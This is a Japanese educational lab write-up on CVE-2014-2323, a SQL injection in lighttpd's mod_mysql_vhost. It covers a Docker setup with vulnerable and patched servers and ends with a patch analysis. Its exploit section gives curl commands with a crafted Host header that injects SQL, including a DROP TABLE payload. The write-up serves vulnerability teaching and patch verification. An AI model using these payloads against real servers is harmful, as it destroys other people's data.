
lighttpdのmod_mysql_vhostにおけるCVE-2014-2323 SQLインジェクションの教育用エクスプロイトデモ。Dockerベースのラボで実践的な脆弱性分析とパッチ適用を提供。
title: Ep4 - ネットワーク関連の脆弱性 members:
関連脆弱性:
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.
確認: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
攻撃対象のサービスは Lighttpd です。これは、軽量かつ高速に最適化されたオープンソースのウェブサーバー(BSD ライセンス)です。有名な c10k 問題(サーバーで1万の同時接続を処理する方法)のプルーフ・オブ・コンセプトとして登場し、当時(2003年)大きな人気を博しました。現在は Whatsapp.com、Xkcd などで使用され、かつては YouTube でも使用されていました。市場での位置づけは非常に興味深く、以下のグラフで確認できます。

このサーバーは、イベントを使用した非同期メカニズム(BSD では kqueue、Linux では epoll)を利用して多数の接続を処理し、複数のスレッドの必要性を減らし、その結果メモリフットプリントが大幅に小さくなり、CPU 使用率が向上します(この戦略は、近年使用が大幅に増加している Nginx サーバーでも採用されています)。

lighty の機能の一つに、バーチャルホストの簡単な管理があります。
これは、同じ IP に解決される複数のドメイン名をホストする方法であり、ウェブサイトを提供する企業にとってホスティングコストを削減します。各ウェブサイトに専用サーバーを用意する必要がないためです。
この手法は、IP ベース(ホストごとに1つのインターフェース)または名前ベース(インターフェースを共有しながらホストごとに1つの名前)に分類できます。本プレゼンテーションでは名前ベースを扱います。
名前ベース
: クライアントから提供された「ホスト名」を使用して、応答に使用するサービスを識別します。この方法には2つの難しい点があります。安全なセッション(TLS)の扱いに関する複雑さ - ハンドシェイクは、ホストを示すヘッダーをサーバーに渡す前に行う必要があるため、ハンドシェイクで提示する証明書の決定が複雑になります。この問題の解決策として、TLS の拡張である Server Name Indication (SNI) があり、ハンドシェイクの開始時に名前を提示できるため、正しい証明書を選択できます。2つ目の問題は、ホストヘッダーが適切に定義されていない接続の試みであり、使用するサービスが不定になることです。
IP ベース
: 各アプリケーションに別々の IP を使用します。ウェブサーバーは、複数の物理ネットワークインターフェース(または同じインターフェース上の仮想インターフェース)に対して設定され、宛先 IP アドレスに応じて適切に応答します。
*IP エイリアシング*により、各サービス用に仮想インターフェースを作成できます。
大企業の場合、クライアント数によってはこのマッピングの管理が複雑になる可能性があります。Lighty は、この目的のためにデータベースの使用をサポートしています。後で説明します。
まず、サーバーを手動で設定し、バーチャルホスティングを追加する方法を見てみましょう。
基本的な lighttpd サーバーの準備は非常に簡単です。インストールを行い、使用するポート、特定のリクエストへの応答方法、その他の設定を指定する設定ファイルを作成するだけです。
静的ファイル(.html や .txt)のリクエストのみを受け付ける設定例を準備できます。
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
ここで、サイト販売ビジネスを始め、購入者に独自ドメインを提供したいとします。コストを最小限に抑えるため、各顧客にバーチャルホストを作成したいと考えます。ネットワークコースが3つのウェブサイト(redes.io、mac0448.io、mac5910.io)を購入するとします。当社はドメインを登録し、すべてが単一インターフェースの単一サーバーの IP を指すようにします。
ps: これをシミュレートするには、/etc/hosts ファイルを変更します。
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io
単一 IP から各クライアントの異なるウェブサイトを提供できるようにするには、サーバーを手動で設定します。
server.document-root = "/usr/lighttpd/default/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
$HTTP["host"] == "redes.io" {
server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
server.document-root = "/usr/lighttpd/mac5910/"
}
しかし、想像できるように、多くのクライアントを扱い、前述のように各ウェブサイトに異なる設定を提供したい場合、これは問題になります。
mod_mysql_vhost モジュールを使用すると、サーバーをこのマッピングを担当する mysql データベースに接続できます。データベース名、ネットワーク内での検索方法、検索に使用するコマンドを指定します。
server.modules = (
"mod_accesslog",
"mod_mysql_vhost"
)
mysql-vhost.db = "データベース名"
mysql-vhost.user = "ユーザー"
mysql-vhost.pass = "パスワード"
(!!!!!!!!!!!!!!!)
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)
mysql-vhost.hostname = "ホスト名"
mysql-vhost.port = "ポート"
SQL はリレーショナルデータベースを管理するための宣言型言語であり、使用されます。(...)
TODO
TODO
問題が発生するのは、SQL を使用するデータベース管理システムが、挿入されるコマンドは管理者が認識し適切に管理するものと仮定しているためです。この仮定は常に真ではなく、データベースシステムとやり取りするシステム(特にユーザーとの対話が多いウェブ)に障害が発生する可能性があります。
SQL コマンドの問題は、ユーザーから提供されたテキスト(ユーザー名、パスワード、その他の動的コンテンツ)を使用してコマンドを構築する意図が生じたときに現れます。
(TODO)
どう解決するか? エスケープです。
例えば、私たちの設定には大きな抜け穴があります。
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
これは、おそらく(そしてバージョン 1.4.34 までは実際にそうでした)? が任意のコマンドに置き換えられ、MySQL によって実行される可能性があるためです。
では、これを 3 つのコンテナ(1 つの MySQL サーバー、脆弱なものと修正済みの 2 つの Lighttpd サーバー)からなるネットワークでシミュレートしてみましょう。
Docker は、オペレーティングシステム上に抽象化レイヤーを提供し、カーネルが提供する cgroups(プロセスグループの CPU、IO、メモリ、ネットワーク使用を分離)や namespaces などの分離メカニズムを使用して、別の OS を必要とせずに仮想化を可能にします。これにより、仮想マシンの起動と維持にかかるオーバーヘッドがすべて排除されます。その結果、リソース割り当て(例:1GB イメージの 100 台の仮想マシン → 100GB。1GB イメージの 100 個のコンテナ → 約 1GB)や処理の共有、カーネルや OS 自体の共有に関して大幅な最適化が行われます。コンテナに共通のファイルは、レイヤードファイルシステムを介して共有することもできます。

名前空間の興味深い例えとして chroot があります。これにより、プロセスはディレクトリをファイルシステム全体のルートとして認識でき、システムの他の部分に影響を与えずに視点を変更できます。名前空間を使用すると、プロセスツリー、ネットワークインターフェース、ファイルシステム、IPC など、OS の他のさまざまな側面に対してこのような異なる視点を作成できます。
(詳細はこちら: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)
ユーザーがこのような共有や低い分離を望まない場合もあることに注意する必要があります。
Docker デーモンの起動時に、ホスト上に docker0 という仮想インターフェースが設定され、ホストが使用していないサブネットが選択され、空き IP が仮想インターフェースに割り当てられます。3 つのレンジのいずれかが使用されることを思い出してください。
IANA(Internet Assigned Numbers Authority)は、プライベートインターネット用に
以下の3つのIPアドレスブロックを予約しています:
10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)
例えば、私のマシンでは次のようになります。
docker0 Link encap:Ethernet HWaddr 02:42:58:ca:78:6d
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4196391 (4.1 MB) TX bytes:380442767 (380.4 MB)
デフォルトのネットワーク設定でインスタンス化された各コンテナに対して、デーモンはホスト上にインターフェース(以下の例では、コンテナ1用に verth5998947)とコンテナ内のインターフェース(eth0)を設定し、さらに iptables(ホスト上のパケット処理のためのルールチェーンテーブルを管理者が定義できる)と NAT の設定を変更して、外部トラフィックがコンテナに転送されるようにします。

デモには、Linux マシン上に適切に設定された docker 環境が必要です。その後、イメージを作成する必要があります。
$ ./scripts/create-lighty-image.sh
上記のコマンドは、Dockerfile に基づいてイメージを作成します。このファイルには、Lighttpd の脆弱なバージョンと修正済みバージョンの両方のソースコードが含まれています。
次に、デモの処理インスタンスとデータベース(これもコンテナとして分離)を表すコンテナをインスタンス化できます。
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched
結果として、次のものが得られます。

コンテナの IP を取得するには、次のコマンドを実行するだけです。
$ ./scripts/getips.sh
Docker container ip Addresses:
- lighty-vulnerable: 172.17.0.3
- lighty-patched: 172.17.0.4
- lighty-mysqlserver: 172.17.0.2
「仮想マシン」の準備ができました。次に、アドレス解決が正しく行われるように DNS を設定するだけです。この時点で、BIND サーバーを使用した DNS 解決専用の別のコンテナを作成することもできますが、迅速に進めるために /etc/hosts を編集することもできます。
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io
次に、lighttpd サーバーが mysql サーバーを使用してバーチャルホスティングタスクを実行できるようにする必要があります。そのためには、データベースにエントリを挿入して、サーバーがデータベースに応じてタスクを処理できるようにする必要があります(上記のスクリプトを使用している場合、以下の手順は不要です。スクリプトがすでにテーブルを初期化しています)。
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| lighttpd |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
-> domain varchar(64) not null primary key,
-> docroot varchar(128) not null
-> );
Query OK, 0 rows affected (0.04 sec)
mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');
mysql> SELECT * FROM domains;
+------------+------------------------+
| domain | docroot |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io | /usr/lighttpd/redes/ |
+------------+------------------------+
この時点から、サーバーはデータベースベースのバーチャルホスティングを実行できるようになります。
攻撃は、HTTP リクエストで送信される IPv6 タイプの Host ヘッダーのパース段階の脆弱性を利用します。パースを担当するメソッドは、ホストに加えて他の文字も読み取り、ホストとして解釈することを許可します。これの問題は、前述のように、バーチャルホストの検索コマンドでホスト文字列が(エスケープせずに)SQL コマンドにそのまま配置されることです。
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='HOSTからの任意の文字列';"
正しい意図のリクエストは、すべてのコンテナ間のパケットが流れるデフォルトインターフェース docker0 を「スニッフィング」すると、次のようなパケットフローを示します。

フローの各コンポーネントを分析してみましょう。
適切に形成された HTTP リクエスト

適切に形成された MySQL リクエスト

MySQL レスポンス

HTTP レスポンス

この脆弱性を悪用できます。
curl を使用して、CVE の確認に記載されているように、悪意のあるリクエストを偽造できます。
$ ./scripts/exploit1
curl --header "Host: []' 間違った構文" redes.io

内部サーバーエラーが発生すべきではないため、悪用可能な脆弱性が明確に存在することがわかります。同じスクリプトを Google サーバーに対してテストします。
$ ./scripts/exploit2
curl --header "Host: []' 間違った構文" www.google.com
<html><title>Error 400 (Bad Request)!!1</title></html>%
データベースへのリクエストを分析することで、データベースを悪用できることが確認できます。
不正な MySQL リクエスト

MySQL レスポンス

破壊的なコマンドを続行できます。
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
悪意のある HTTP リクエスト

悪意のある MySQL リクエスト

MySQL レスポンス

そしてテーブルは消え去りました! その結果、サーバーはデフォルトとして設定されたもの以外のバーチャルホストを解決できなくなります。
データベースがバーチャルホスティングテーブルを失ったため、復元する必要があります。これを行うには、コンテナ内でテーブル作成と値の挿入プロセスを実行するだけです。
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"
修正されたサーバーに対して再度攻撃を試みることで、パッチが問題を解決していることを確認できます。
```sh
$ ./scripts/exploit4
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
悪意のある HTTP リクエストを実行します。
修正済みサーバーへの悪意のある HTTP リクエスト

では、ネットワーク上のパケットフローを見てみましょう。
パケットフロー

ご覧のとおり、これは悪意のあるパケットであるため、サーバーは即座にリクエストの不正フォーマットエラーを返し、データベースへのリクエストは一切行いません。
脆弱性はコードの2つの部分に現れます。mod_mysql_vhost モジュール(最終的に、クエリのその部分に渡されたものを有効なコマンドとして解釈すべきではない)と、リクエスト処理の request.c です。
mod_mysql_vhost.cモジュールでは、問題の解決は簡単です。MySQL が提供するエスケープルーチンを追加するだけです。これにより、悪意のあるコマンドが挿入された場合でも、サーバーには何も起こりません(MySQL がエラーを示すため)。

request.cリクエストコードでは、IPv6 アドレスの後に文字列が終了しない(つまり \0 がない)場合の処理があります。以前まで、サーバーはホスト名が文法に従って有効かどうかを正しく識別できました(アドレスと共にポートが渡される場合も受け入れます)が、ポートが渡されない場合(有効な IPv6 の終了)には、閉じ括弧(アドレスの終端を示す)以降の文字列の残りが削除されませんでした。
このように:

このケースが確認されます。
コミット:
- パッチ版: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
- 未パッチ版: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f